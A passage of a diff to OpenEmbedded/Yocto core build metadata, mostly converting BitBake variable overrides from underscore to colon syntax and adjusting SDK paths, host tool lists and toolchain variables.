if not prerm:
prerm = '#!/bin/sh\n'
prerm += localdata.getVar('updatercd_prerm')
- d.setVar('pkg_prerm_%s' % pkg, prerm)
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += localdata.getVar('updatercd_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
- d.appendVar('RRECOMMENDS_' + pkg, " ${MLPREFIX}${UPDATERCD}")
+ d.appendVar('RRECOMMENDS:' + pkg, " ${MLPREFIX}${UPDATERCD}")
# Check that this class isn't being inhibited (generally, by
# systemd.bbclass) before doing any work.
diff --git a/meta/classes/useradd-staticids.bbclass b/meta/classes/useradd-staticids.bbclass
index 3a1b5f1320..8e2a7fb635 100644
--- a/meta/classes/useradd-staticids.bbclass
+++ b/meta/classes/useradd-staticids.bbclass
@@ -77,7 +77,7 @@ def update_useradd_static_config(d):
try:
uaargs = parser.parse_args(oe.useradd.split_args(param))
except Exception as e:
- bb.fatal("%s: Unable to parse arguments for USERADD_PARAM_%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
+ bb.fatal("%s: Unable to parse arguments for USERADD_PARAM:%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
# Read all passwd files specified in USERADD_UID_TABLES or files/passwd
# Use the standard passwd layout:
@@ -140,13 +140,13 @@ def update_useradd_static_config(d):
uaargs.gid = uaargs.groupid
uaargs.user_group = None
if newgroup and is_pkg:
- groupadd = d.getVar("GROUPADD_PARAM_%s" % pkg)
+ groupadd = d.getVar("GROUPADD_PARAM:%s" % pkg)
if groupadd:
# Only add the group if not already specified
if not uaargs.groupname in groupadd:
- d.setVar("GROUPADD_PARAM_%s" % pkg, "%s; %s" % (groupadd, newgroup))
+ d.setVar("GROUPADD_PARAM:%s" % pkg, "%s; %s" % (groupadd, newgroup))
else:
- d.setVar("GROUPADD_PARAM_%s" % pkg, newgroup)
+ d.setVar("GROUPADD_PARAM:%s" % pkg, newgroup)
uaargs.comment = "'%s'" % field[4] if field[4] else uaargs.comment
uaargs.home_dir = field[5] or uaargs.home_dir
@@ -198,7 +198,7 @@ def update_useradd_static_config(d):
# If we're processing multiple lines, we could have left over values here...
gaargs = parser.parse_args(oe.useradd.split_args(param))
except Exception as e:
- bb.fatal("%s: Unable to parse arguments for GROUPADD_PARAM_%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
+ bb.fatal("%s: Unable to parse arguments for GROUPADD_PARAM:%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
# Read all group files specified in USERADD_GID_TABLES or files/group
# Use the standard group layout:
@@ -265,17 +265,17 @@ def update_useradd_static_config(d):
for pkg in useradd_packages.split():
# Groupmems doesn't have anything we might want to change, so simply validating
# is a bit of a waste -- only process useradd/groupadd
- useradd_param = d.getVar('USERADD_PARAM_%s' % pkg)
+ useradd_param = d.getVar('USERADD_PARAM:%s' % pkg)
if useradd_param:
- #bb.warn("Before: 'USERADD_PARAM_%s' - '%s'" % (pkg, useradd_param))
- d.setVar('USERADD_PARAM_%s' % pkg, rewrite_useradd(useradd_param, True))
- #bb.warn("After: 'USERADD_PARAM_%s' - '%s'" % (pkg, d.getVar('USERADD_PARAM_%s' % pkg)))
+ #bb.warn("Before: 'USERADD_PARAM:%s' - '%s'" % (pkg, useradd_param))
+ d.setVar('USERADD_PARAM:%s' % pkg, rewrite_useradd(useradd_param, True))
+ #bb.warn("After: 'USERADD_PARAM:%s' - '%s'" % (pkg, d.getVar('USERADD_PARAM:%s' % pkg)))
- groupadd_param = d.getVar('GROUPADD_PARAM_%s' % pkg)
+ groupadd_param = d.getVar('GROUPADD_PARAM:%s' % pkg)
if groupadd_param:
- #bb.warn("Before: 'GROUPADD_PARAM_%s' - '%s'" % (pkg, groupadd_param))
- d.setVar('GROUPADD_PARAM_%s' % pkg, rewrite_groupadd(groupadd_param, True))
- #bb.warn("After: 'GROUPADD_PARAM_%s' - '%s'" % (pkg, d.getVar('GROUPADD_PARAM_%s' % pkg)))
+ #bb.warn("Before: 'GROUPADD_PARAM:%s' - '%s'" % (pkg, groupadd_param))
+ d.setVar('GROUPADD_PARAM:%s' % pkg, rewrite_groupadd(groupadd_param, True))
+ #bb.warn("After: 'GROUPADD_PARAM:%s' - '%s'" % (pkg, d.getVar('GROUPADD_PARAM:%s' % pkg)))
# Load and process extra users and groups, rewriting only adduser/addgroup params
pkg = d.getVar('PN')
diff --git a/meta/classes/useradd.bbclass b/meta/classes/useradd.bbclass
index e5f3ba24f9..20771a0ce5 100644
--- a/meta/classes/useradd.bbclass
+++ b/meta/classes/useradd.bbclass
@@ -3,7 +3,7 @@ inherit useradd_base
# base-passwd-cross provides the default passwd and group files in the
# target sysroot, and shadow -native and -sysroot provide the utilities
# and support files needed to add and modify user and group accounts
-DEPENDS_append_class-target = " base-files shadow-native shadow-sysroot shadow base-passwd"
+DEPENDS:append:class-target = " base-files shadow-native shadow-sysroot shadow base-passwd"
PACKAGE_WRITE_DEPS += "shadow-native"
# This preinstall function can be run in four different contexts:
@@ -164,16 +164,16 @@ python useradd_sysroot_sstate () {
}
do_prepare_recipe_sysroot[postfuncs] += "${SYSROOTFUNC}"
-SYSROOTFUNC_class-target = "useradd_sysroot_sstate"
+SYSROOTFUNC:class-target = "useradd_sysroot_sstate"
SYSROOTFUNC = ""
SYSROOT_PREPROCESS_FUNCS += "${SYSROOTFUNC}"
-SSTATEPREINSTFUNCS_append_class-target = " useradd_sysroot_sstate"
+SSTATEPREINSTFUNCS:append:class-target = " useradd_sysroot_sstate"
do_package_setscene[depends] += "${USERADDSETSCENEDEPS}"
do_populate_sysroot_setscene[depends] += "${USERADDSETSCENEDEPS}"
-USERADDSETSCENEDEPS_class-target = "${MLPREFIX}base-passwd:do_populate_sysroot_setscene pseudo-native:do_populate_sysroot_setscene shadow-native:do_populate_sysroot_setscene ${MLPREFIX}shadow-sysroot:do_populate_sysroot_setscene"
+USERADDSETSCENEDEPS:class-target = "${MLPREFIX}base-passwd:do_populate_sysroot_setscene pseudo-native:do_populate_sysroot_setscene shadow-native:do_populate_sysroot_setscene ${MLPREFIX}shadow-sysroot:do_populate_sysroot_setscene"
USERADDSETSCENEDEPS = ""
# Recipe parse-time sanity checks
@@ -184,8 +184,8 @@ def update_useradd_after_parse(d):
bb.fatal("%s inherits useradd but doesn't set USERADD_PACKAGES" % d.getVar('FILE', False))
for pkg in useradd_packages.split():
- d.appendVarFlag("do_populate_sysroot", "vardeps", "USERADD_PARAM_%s GROUPADD_PARAM_%s GROUPMEMS_PARAM_%s" % (pkg, pkg, pkg))
- if not d.getVar('USERADD_PARAM_%s' % pkg) and not d.getVar('GROUPADD_PARAM_%s' % pkg) and not d.getVar('GROUPMEMS_PARAM_%s' % pkg):
+ d.appendVarFlag("do_populate_sysroot", "vardeps", "USERADD_PARAM:%s GROUPADD_PARAM:%s GROUPMEMS_PARAM:%s" % (pkg, pkg, pkg))
+ if not d.getVar('USERADD_PARAM:%s' % pkg) and not d.getVar('GROUPADD_PARAM:%s' % pkg) and not d.getVar('GROUPMEMS_PARAM:%s' % pkg):
bb.fatal("%s inherits useradd but doesn't set USERADD_PARAM, GROUPADD_PARAM or GROUPMEMS_PARAM for package %s" % (d.getVar('FILE', False), pkg))
python __anonymous() {
@@ -199,7 +199,7 @@ python __anonymous() {
def get_all_cmd_params(d, cmd_type):
import string
- param_type = cmd_type.upper() + "_PARAM_%s"
+ param_type = cmd_type.upper() + "_PARAM:%s"
params = []
useradd_packages = d.getVar('USERADD_PACKAGES') or ""
@@ -211,7 +211,7 @@ def get_all_cmd_params(d, cmd_type):
return "; ".join(params)
# Adds the preinst script into generated packages
-fakeroot python populate_packages_prepend () {
+fakeroot python populate_packages:prepend () {
def update_useradd_package(pkg):
bb.debug(1, 'adding user/group calls to preinst for %s' % pkg)
@@ -220,7 +220,7 @@ fakeroot python populate_packages_prepend () {
required to execute on the target. Not doing so may cause
useradd preinst to be invoked twice, causing unwanted warnings.
"""
- preinst = d.getVar('pkg_preinst_%s' % pkg) or d.getVar('pkg_preinst')
+ preinst = d.getVar('pkg_preinst:%s' % pkg) or d.getVar('pkg_preinst')
if not preinst:
preinst = '#!/bin/sh\n'
preinst += 'bbnote () {\n\techo "NOTE: $*"\n}\n'
@@ -230,15 +230,19 @@ fakeroot python populate_packages_prepend () {
preinst += 'perform_useradd () {\n%s}\n' % d.getVar('perform_useradd')
preinst += 'perform_groupmems () {\n%s}\n' % d.getVar('perform_groupmems')
preinst += d.getVar('useradd_preinst')
- d.setVar('pkg_preinst_%s' % pkg, preinst)
+ # Expand out the *_PARAM variables to the package specific versions
+ for rep in ["GROUPADD_PARAM", "USERADD_PARAM", "GROUPMEMS_PARAM"]:
+ val = d.getVar(rep + ":" + pkg) or ""
+ preinst = preinst.replace("${" + rep + "}", val)
+ d.setVar('pkg_preinst:%s' % pkg, preinst)
# RDEPENDS setup
- rdepends = d.getVar("RDEPENDS_%s" % pkg) or ""
+ rdepends = d.getVar("RDEPENDS:%s" % pkg) or ""
rdepends += ' ' + d.getVar('MLPREFIX', False) + 'base-passwd'
rdepends += ' ' + d.getVar('MLPREFIX', False) + 'shadow'
# base-files is where the default /etc/skel is packaged
rdepends += ' ' + d.getVar('MLPREFIX', False) + 'base-files'
- d.setVar("RDEPENDS_%s" % pkg, rdepends)
+ d.setVar("RDEPENDS:%s" % pkg, rdepends)
# Add the user/group preinstall scripts and RDEPENDS requirements
# to packages specified by USERADD_PACKAGES
diff --git a/meta/classes/utility-tasks.bbclass b/meta/classes/utility-tasks.bbclass
index b1f27d3658..34d6b8f4d5 100644
--- a/meta/classes/utility-tasks.bbclass
+++ b/meta/classes/utility-tasks.bbclass
@@ -19,7 +19,7 @@ python do_listtasks() {
CLEANFUNCS ?= ""
-T_task-clean = "${LOG_DIR}/cleanlogs/${PN}"
+T:task-clean = "${LOG_DIR}/cleanlogs/${PN}"
addtask clean
do_clean[nostamp] = "1"
python do_clean() {
diff --git a/meta/classes/utils.bbclass b/meta/classes/utils.bbclass
index 120bcc64a6..b4eb3d38ab 100644
--- a/meta/classes/utils.bbclass
+++ b/meta/classes/utils.bbclass
@@ -30,7 +30,6 @@ oe_libinstall() {
silent=""
require_static=""
require_shared=""
- staging_install=""
while [ "$#" -gt 0 ]; do
case "$1" in
-C)
@@ -62,10 +61,6 @@ oe_libinstall() {
if [ -z "$destpath" ]; then
bbfatal "oe_libinstall: no destination path specified"
fi
- if echo "$destpath/" | egrep '^${STAGING_LIBDIR}/' >/dev/null
- then
- staging_install=1
- fi
__runcmd () {
if [ -z "$silent" ]; then
@@ -159,36 +154,6 @@ oe_libinstall() {
__runcmd cd "$olddir"
}
-oe_machinstall() {
- # Purpose: Install machine dependent files, if available
- # If not available, check if there is a default
- # If no default, just touch the destination
- # Example:
- # $1 $2 $3 $4
- # oe_machinstall -m 0644 fstab ${D}/etc/fstab
- #
- # TODO: Check argument number?
- #
- filename=`basename $3`
- dirname=`dirname $3`
-
- for o in `echo ${OVERRIDES} | tr ':' ' '`; do
- if [ -e $dirname/$o/$filename ]; then
- bbnote $dirname/$o/$filename present, installing to $4
- install $1 $2 $dirname/$o/$filename $4
- return
- fi
- done
-# bbnote overrides specific file NOT present, trying default=$3...
- if [ -e $3 ]; then
- bbnote $3 present, installing to $4
- install $1 $2 $3 $4
- else
- bbnote $3 NOT present, touching empty $4
- touch $4
- fi
-}
-
create_cmdline_wrapper () {
# Create a wrapper script where commandline options are needed
#
@@ -214,7 +179,7 @@ create_cmdline_wrapper () {
#!/bin/bash
realpath=\`readlink -fn \$0\`
realdir=\`dirname \$realpath\`
-exec -a \`dirname \$realpath\`/$cmdname \`dirname \$realpath\`/$cmdname.real $cmdoptions "\$@"
+exec -a \$realdir/$cmdname \$realdir/$cmdname.real $cmdoptions "\$@"
END
chmod +x $cmd
}
diff --git a/meta/classes/vala.bbclass b/meta/classes/vala.bbclass
index bcaf68c5a7..bfcceff7cf 100644
--- a/meta/classes/vala.bbclass
+++ b/meta/classes/vala.bbclass
@@ -2,8 +2,8 @@
# because that is where target builds look for .vapi files.
#
VALADEPENDS = ""
-VALADEPENDS_class-target = "vala"
-DEPENDS_append = " vala-native ${VALADEPENDS}"
+VALADEPENDS:class-target = "vala"
+DEPENDS:append = " vala-native ${VALADEPENDS}"
# Our patched version of Vala looks in STAGING_DATADIR for .vapi files
export STAGING_DATADIR
@@ -11,7 +11,7 @@ export STAGING_DATADIR
export XDG_DATA_DIRS = "${STAGING_DATADIR}:${STAGING_LIBDIR}"
# Package additional files
-FILES_${PN}-dev += "\
+FILES:${PN}-dev += "\
${datadir}/vala/vapi/*.vapi \
${datadir}/vala/vapi/*.deps \
${datadir}/gir-1.0 \
@@ -19,6 +19,6 @@ FILES_${PN}-dev += "\
# Remove vapigen.m4 that is bundled with tarballs
# because it does not yet have our cross-compile fixes
-do_configure_prepend() {
+do_configure:prepend() {
rm -f ${S}/m4/vapigen.m4
}
diff --git a/meta/classes/waf.bbclass b/meta/classes/waf.bbclass
index 188119f356..df0ab8d73f 100644
--- a/meta/classes/waf.bbclass
+++ b/meta/classes/waf.bbclass
@@ -8,7 +8,7 @@ WAF_PYTHON ?= "python3"
B = "${WORKDIR}/build"
do_configure[cleandirs] += "${B}"
-EXTRA_OECONF_append = " ${PACKAGECONFIG_CONFARGS}"
+EXTRA_OECONF:append = " ${PACKAGECONFIG_CONFARGS}"
EXTRA_OEWAF_BUILD ??= ""
# In most cases, you want to pass the same arguments to `waf build` and `waf
diff --git a/meta/classes/xmlcatalog.bbclass b/meta/classes/xmlcatalog.bbclass
index ae4811fdeb..be155b7bc2 100644
--- a/meta/classes/xmlcatalog.bbclass
+++ b/meta/classes/xmlcatalog.bbclass
@@ -4,7 +4,7 @@ DEPENDS = "libxml2-native"
# "${sysconfdir}/xml/docbook-xml.xml".
XMLCATALOGS ?= ""
-SYSROOT_PREPROCESS_FUNCS_append = " xmlcatalog_sstate_postinst"
+SYSROOT_PREPROCESS_FUNCS:append = " xmlcatalog_sstate_postinst"
xmlcatalog_complete() {
ROOTCATALOG="${STAGING_ETCDIR_NATIVE}/xml/catalog"
diff --git a/meta/conf/abi_version.conf b/meta/conf/abi_version.conf
index 251d43bb21..f406f927b0 100644
--- a/meta/conf/abi_version.conf
+++ b/meta/conf/abi_version.conf
@@ -12,4 +12,4 @@ OELAYOUT_ABI = "14"
# a reset of the equivalence, for example when reproducibility issues break the
# existing match data. Distros can also append to this value for the same effect.
#
-HASHEQUIV_HASH_VERSION = "4"
+HASHEQUIV_HASH_VERSION = "10"
diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
index 0d38eac094..fba99e8f0c 100644
--- a/meta/conf/bitbake.conf
+++ b/meta/conf/bitbake.conf
@@ -10,8 +10,8 @@
baselib = "${BASELIB}"
baselib[vardepvalue] = "${baselib}"
BASELIB = "lib"
-BASELIB_powerpc64 = "lib64"
-BASELIB_powerpc64le = "lib64"
+BASELIB:libc-glibc:powerpc64 = "lib64"
+BASELIB:libc-glibc:powerpc64le = "lib64"
# Path prefixes
export base_prefix = ""
@@ -80,8 +80,8 @@ localstatedir_nativesdk = "/var"
target_datadir := "${datadir}"
# Used to find env/perl/python
USRBINPATH = "${bindir}"
-USRBINPATH_class-native = "/usr/bin"
-USRBINPATH_class-nativesdk = "/usr/bin"
+USRBINPATH:class-native = "/usr/bin"
+USRBINPATH:class-nativesdk = "/usr/bin"
# Root home directory
ROOT_HOME ??= "/home/root"
@@ -121,7 +121,7 @@ TUNE_CCARGS ??= ""
TUNE_CCARGS[vardepvalue] = "${TUNE_CCARGS}"
TUNE_LDARGS ??= ""
TUNE_ASARGS ??= ""
-TUNE_FEATURES ??= "${TUNE_FEATURES_tune-${DEFAULTTUNE}}"
+TUNE_FEATURES ??= "${TUNE_FEATURES:tune-${DEFAULTTUNE}}"
LIBCEXTENSION ??= ""
ABIEXTENSION ??= ""
USE_NLS ??= "yes"
@@ -136,7 +136,7 @@ TARGET_CC_ARCH = "${TUNE_CCARGS}"
TARGET_LD_ARCH = "${TUNE_LDARGS}"
TARGET_AS_ARCH = "${TUNE_ASARGS}"
-SDKMACHINE ??= "x86_64"
+SDKMACHINE ??= "${BUILD_ARCH}"
SDK_OS = "${BUILD_OS}"
SDK_VENDOR = "-oesdk"
SDK_SYS = "${SDK_ARCH}${SDK_VENDOR}-${SDK_OS}"
@@ -150,7 +150,7 @@ SDK_AS_ARCH = "${BUILD_AS_ARCH}"
TUNE_PKGARCH ??= ""
PACKAGE_ARCH ??= "${TUNE_PKGARCH}"
MACHINE_ARCH = "${@[d.getVar('TUNE_PKGARCH'), d.getVar('MACHINE')][bool(d.getVar('MACHINE'))].replace('-', '_')}"
-PACKAGE_EXTRA_ARCHS ??= "${PACKAGE_EXTRA_ARCHS_tune-${DEFAULTTUNE}}"
+PACKAGE_EXTRA_ARCHS ??= "${PACKAGE_EXTRA_ARCHS:tune-${DEFAULTTUNE}}"
PACKAGE_ARCHS = "all any noarch ${PACKAGE_EXTRA_ARCHS} ${MACHINE_ARCH}"
# MACHINE_ARCH shouldn't be included here as a variable dependency
# since machine specific packages are handled using multimachine
@@ -173,25 +173,25 @@ DATETIME = "${DATE}${TIME}"
# python-native should be here but python relies on building
# its own in staging
ASSUME_PROVIDED = "\
+ bash-native \
bzip2-native \
chrpath-native \
+ diffstat-native \
file-native \
findutils-native \
gawk-native \
git-native \
grep-native \
- diffstat-native \
- patch-native \
- libgcc-native \
hostperl-runtime-native \
hostpython-runtime-native \
+ libgcc-native \
+ patch-native \
+ sed-native \
tar-native \
- virtual/libintl-native \
- virtual/libiconv-native \
- virtual/crypt-native \
texinfo-native \
- bash-native \
- sed-native \
+ virtual/crypt-native \
+ virtual/libiconv-native \
+ virtual/libintl-native \
wget-native \
"
# gzip-native should be listed above?
@@ -236,28 +236,28 @@ DESCRIPTION ?= "${SUMMARY}."
# The following two are commented out because they result in a recursive
# definition of the variable in some corner cases. These are left in
# to illustrate the intended behavior.
-#SUMMARY_${PN} ?= "${SUMMARY}"
-#DESCRIPTION_${PN} ?= "${DESCRIPTION}"
+#SUMMARY:${PN} ?= "${SUMMARY}"
+#DESCRIPTION:${PN} ?= "${DESCRIPTION}"
-SUMMARY_${PN}-src ?= "${SUMMARY} - Source files"
-DESCRIPTION_${PN}-src ?= "${DESCRIPTION} \
+SUMMARY:${PN}-src ?= "${SUMMARY} - Source files"
+DESCRIPTION:${PN}-src ?= "${DESCRIPTION} \
This package contains sources for debugging purposes."
-SUMMARY_${PN}-dbg ?= "${SUMMARY} - Debugging files"
-DESCRIPTION_${PN}-dbg ?= "${DESCRIPTION} \
+SUMMARY:${PN}-dbg ?= "${SUMMARY} - Debugging files"
+DESCRIPTION:${PN}-dbg ?= "${DESCRIPTION} \
This package contains ELF symbols and related sources for debugging purposes."
-SUMMARY_${PN}-dev ?= "${SUMMARY} - Development files"
-DESCRIPTION_${PN}-dev ?= "${DESCRIPTION} \
+SUMMARY:${PN}-dev ?= "${SUMMARY} - Development files"
+DESCRIPTION:${PN}-dev ?= "${DESCRIPTION} \
This package contains symbolic links, header files, and \
related items necessary for software development."
-SUMMARY_${PN}-staticdev ?= "${SUMMARY} - Development files (Static Libraries)"
-DESCRIPTION_${PN}-staticdev ?= "${DESCRIPTION} \
+SUMMARY:${PN}-staticdev ?= "${SUMMARY} - Development files (Static Libraries)"
+DESCRIPTION:${PN}-staticdev ?= "${DESCRIPTION} \
This package contains static libraries for software development."
-SUMMARY_${PN}-doc ?= "${SUMMARY} - Documentation files"
-DESCRIPTION_${PN}-doc ?= "${DESCRIPTION} \
+SUMMARY:${PN}-doc ?= "${SUMMARY} - Documentation files"
+DESCRIPTION:${PN}-doc ?= "${DESCRIPTION} \
This package contains documentation."
LICENSE ??= "INVALID"
@@ -272,21 +272,19 @@ DEPCHAIN_PRE = ""
DEPCHAIN_POST = "-dev -dbg"
DEPENDS = ""
-RDEPENDS = ""
PROVIDES = ""
-PROVIDES_prepend = "${PN} "
-RPROVIDES = ""
+PROVIDES:prepend = "${PN} "
MULTI_PROVIDER_WHITELIST = "virtual/libintl virtual/libintl-native virtual/nativesdk-libintl virtual/xserver virtual/update-alternatives-native virtual/update-alternatives"
SOLIBS = ".so.*"
-SOLIBS_darwin = ".dylib"
+SOLIBS:darwin = ".dylib"
SOLIBSDEV = ".so"
# Due to the ordering of PACKAGES and the naming of the dev symlinks on darwin,
# we can't make the symlinks end up in the -dev packages easily at this point. This hack
# at least means builds aren't completely broken and symlinks don't take up much space.
-SOLIBSDEV_darwin = ".dylibbroken"
+SOLIBSDEV:darwin = ".dylibbroken"
PACKAGE_DEBUG_SPLIT_STYLE ?= "debug-with-srcpkg"
@@ -295,7 +293,7 @@ PACKAGES = "${PN}-src ${PN}-dbg ${PN}-staticdev ${PN}-dev ${PN}-doc ${PN}-locale
PACKAGES_DYNAMIC = "^${PN}-locale-.*"
FILES = ""
-FILES_${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*${SOLIBS} \
+FILES:${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*${SOLIBS} \
${sysconfdir} ${sharedstatedir} ${localstatedir} \
${base_bindir}/* ${base_sbindir}/* \
${base_libdir}/*${SOLIBS} \
@@ -306,36 +304,36 @@ FILES_${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*${SOLIBS}
${datadir}/idl ${datadir}/omf ${datadir}/sounds \
${libdir}/bonobo/servers"
-FILES_${PN}-bin = "${bindir}/* ${sbindir}/*"
+FILES:${PN}-bin = "${bindir}/* ${sbindir}/*"
-FILES_${PN}-doc = "${docdir} ${mandir} ${infodir} ${datadir}/gtk-doc \
+FILES:${PN}-doc = "${docdir} ${mandir} ${infodir} ${datadir}/gtk-doc \
${datadir}/gnome/help"
-SECTION_${PN}-doc = "doc"
+SECTION:${PN}-doc = "doc"
FILES_SOLIBSDEV ?= "${base_libdir}/lib*${SOLIBSDEV} ${libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-dev = "${includedir} ${FILES_SOLIBSDEV} ${libdir}/*.la \
+FILES:${PN}-dev = "${includedir} ${FILES_SOLIBSDEV} ${libdir}/*.la \
${libdir}/*.o ${libdir}/pkgconfig ${datadir}/pkgconfig \
${datadir}/aclocal ${base_libdir}/*.o \
${libdir}/${BPN}/*.la ${base_libdir}/*.la \
${libdir}/cmake ${datadir}/cmake"
-SECTION_${PN}-dev = "devel"
-ALLOW_EMPTY_${PN}-dev = "1"
-RDEPENDS_${PN}-dev = "${PN} (= ${EXTENDPKGV})"
+SECTION:${PN}-dev = "devel"
+ALLOW_EMPTY:${PN}-dev = "1"
+RDEPENDS:${PN}-dev = "${PN} (= ${EXTENDPKGV})"
-FILES_${PN}-staticdev = "${libdir}/*.a ${base_libdir}/*.a ${libdir}/${BPN}/*.a"
-SECTION_${PN}-staticdev = "devel"
-RDEPENDS_${PN}-staticdev = "${PN}-dev (= ${EXTENDPKGV})"
+FILES:${PN}-staticdev = "${libdir}/*.a ${base_libdir}/*.a ${libdir}/${BPN}/*.a"
+SECTION:${PN}-staticdev = "devel"
+RDEPENDS:${PN}-staticdev = "${PN}-dev (= ${EXTENDPKGV})"
-FILES_${PN}-dbg = "/usr/lib/debug /usr/lib/debug-static /usr/src/debug"
-SECTION_${PN}-dbg = "devel"
-ALLOW_EMPTY_${PN}-dbg = "1"
+FILES:${PN}-dbg = "/usr/lib/debug /usr/lib/debug-static /usr/src/debug"
+SECTION:${PN}-dbg = "devel"
+ALLOW_EMPTY:${PN}-dbg = "1"
# The files list for source packages are dynamically set based on
# PACKAGE_DEBUG_SPLIT_STYLE
-FILES_${PN}-src = ""
-SECTION_${PN}-src = "devel"
+FILES:${PN}-src = ""
+SECTION:${PN}-src = "devel"
-FILES_${PN}-locale = "${datadir}/locale"
+FILES:${PN}-locale = "${datadir}/locale"
# File manifest
@@ -417,6 +415,7 @@ DEPLOY_DIR_IMAGE ?= "${DEPLOY_DIR}/images/${MACHINE}"
DEPLOY_DIR_TOOLS = "${DEPLOY_DIR}/tools"
PKGDATA_DIR = "${TMPDIR}/pkgdata/${MACHINE}"
+PKGDATA_DIR_SDK = "${TMPDIR}/pkgdata/${SDK_SYS}"
##################################################################
# SDK variables.
@@ -424,19 +423,21 @@ PKGDATA_DIR = "${TMPDIR}/pkgdata/${MACHINE}"
SDK_NAME_PREFIX ?= "oecore"
SDK_NAME = "${SDK_NAME_PREFIX}-${SDK_ARCH}-${TUNE_PKGARCH}"
-SDKPATH = "/usr/local/${SDK_NAME_PREFIX}-${SDK_ARCH}"
+SDKPATH = "/usr/local/oe-sdk-hardcoded-buildpath"
SDKPATHNATIVE = "${SDKPATH}/sysroots/${SDK_SYS}"
+# The path to default to installing the SDK to
+SDKPATHINSTALL = "/usr/local/${SDK_NAME_PREFIX}-${SDK_ARCH}"
##################################################################
# Kernel info.
##################################################################
OLDEST_KERNEL = "3.2.0"
-OLDEST_KERNEL_aarch64 = "3.14"
-OLDEST_KERNEL_nios2 = "3.19"
-OLDEST_KERNEL_powerpc64le = "3.10.0"
-OLDEST_KERNEL_riscv32 = "5.4"
-OLDEST_KERNEL_riscv64 = "4.15"
+OLDEST_KERNEL:aarch64 = "3.14"
+OLDEST_KERNEL:nios2 = "3.19"
+OLDEST_KERNEL:powerpc64le = "3.10.0"
+OLDEST_KERNEL:riscv32 = "5.4"
+OLDEST_KERNEL:riscv64 = "4.15"
# SDK_OLDEST_KERNEL can't be set using overrides since there are
# none for the SDK architecture. Best to set it from a machine-sdk
@@ -471,14 +472,14 @@ EXTRA_IMAGEDEPENDS = ""
# Toolchain info.
##################################################################
-PATH_prepend = "${COREBASE}/scripts:${STAGING_BINDIR_TOOLCHAIN}:${STAGING_BINDIR_CROSS}:${STAGING_DIR_NATIVE}${sbindir_native}:${STAGING_BINDIR_NATIVE}:${STAGING_DIR_NATIVE}${base_sbindir_native}:${STAGING_DIR_NATIVE}${base_bindir_native}:"
+PATH:prepend = "${COREBASE}/scripts:${STAGING_BINDIR_TOOLCHAIN}:${STAGING_BINDIR_CROSS}:${STAGING_DIR_NATIVE}${sbindir_native}:${STAGING_BINDIR_NATIVE}:${STAGING_DIR_NATIVE}${base_sbindir_native}:${STAGING_DIR_NATIVE}${base_bindir_native}:"
export PATH
##################################################################
# Build utility info.
##################################################################
-# Directory where host tools are copied
+# Directory with symlinks to host tools used by build
HOSTTOOLS_DIR = "${TMPDIR}/hosttools"
# Tools needed to run builds with OE-Core
@@ -486,19 +487,19 @@ HOSTTOOLS += " \
[ ar as awk basename bash bzip2 cat chgrp chmod chown chrpath cmp comm cp cpio \
cpp cut date dd diff diffstat dirname du echo egrep env expand expr false \
fgrep file find flock g++ gawk gcc getconf getopt git grep gunzip gzip \
- head hostname iconv id install ld ldd ln ls make md5sum mkdir mknod \
+ head hostname iconv id install ld ldd ln ls lz4c make md5sum mkdir mkfifo mknod \
mktemp mv nm objcopy objdump od patch perl pr printf pwd \
- python3 ranlib readelf readlink realpath rm rmdir rpcgen sed seq sh \
+ python3 pzstd ranlib readelf readlink realpath rm rmdir rpcgen sed seq sh \
sha1sum sha224sum sha256sum sha384sum sha512sum \
sleep sort split stat strings strip tail tar tee test touch tr true uname \
- uniq wc wget which xargs \
+ uniq wc wget which xargs zstd \
"
# Tools needed to run testimage runtime image testing
HOSTTOOLS += "${@'ip ping ps scp ssh stty' if (bb.utils.contains_any('IMAGE_CLASSES', 'testimage testsdk', True, False, d) or any(x in (d.getVar("BBINCLUDED") or "") for x in ["testimage.bbclass", "testsdk.bbclass"])) else ''}"
# Link to these if present
-HOSTTOOLS_NONFATAL += "aws gcc-ar gpg ld.bfd ld.gold nc pigz sftp socat ssh sudo"
+HOSTTOOLS_NONFATAL += "aws gcc-ar gpg gpg-agent ld.bfd ld.gold nc pigz sftp socat ssh sudo"
# Temporary add few more detected in bitbake world
HOSTTOOLS_NONFATAL += "join nl size yes zcat"
@@ -529,7 +530,7 @@ export STRIP = "${HOST_PREFIX}strip"
export OBJCOPY = "${HOST_PREFIX}objcopy"
export OBJDUMP = "${HOST_PREFIX}objdump"
export STRINGS = "${HOST_PREFIX}strings"
-export NM = "${HOST_PREFIX}nm"
+export NM = "${HOST_PREFIX}gcc-nm"
export READELF = "${HOST_PREFIX}readelf"
PYTHON = "${@sys.executable}"
@@ -541,9 +542,12 @@ export BUILD_LD = "${BUILD_PREFIX}ld ${BUILD_LD_ARCH}"
export BUILD_CCLD = "${BUILD_PREFIX}gcc ${BUILD_CC_ARCH}"
export BUILD_AR = "${BUILD_PREFIX}ar"
export BUILD_AS = "${BUILD_PREFIX}as ${BUILD_AS_ARCH}"
-export BUILD_RANLIB = "${BUILD_PREFIX}ranlib"
+export BUILD_RANLIB = "${BUILD_PREFIX}ranlib -D"
export BUILD_STRIP = "${BUILD_PREFIX}strip"
+BUILD_OBJCOPY = "${BUILD_PREFIX}objcopy"
+BUILD_OBJDUMP = "${BUILD_PREFIX}objdump"
export BUILD_NM = "${BUILD_PREFIX}nm"
+BUILD_READELF = "${BUILD_PREFIX}readelf"
export MAKE = "make"
EXTRA_OEMAKE = ""
@@ -594,15 +598,16 @@ TARGET_LINK_HASH_STYLE ?= "${@['-Wl,--hash-style=gnu',''][d.getVar('LINKER_HASH_
ASNEEDED ?= "-Wl,--as-needed"
export LDFLAGS = "${TARGET_LDFLAGS}"
-TARGET_LDFLAGS = "-Wl,-O1 ${TARGET_LINK_HASH_STYLE} ${ASNEEDED}"
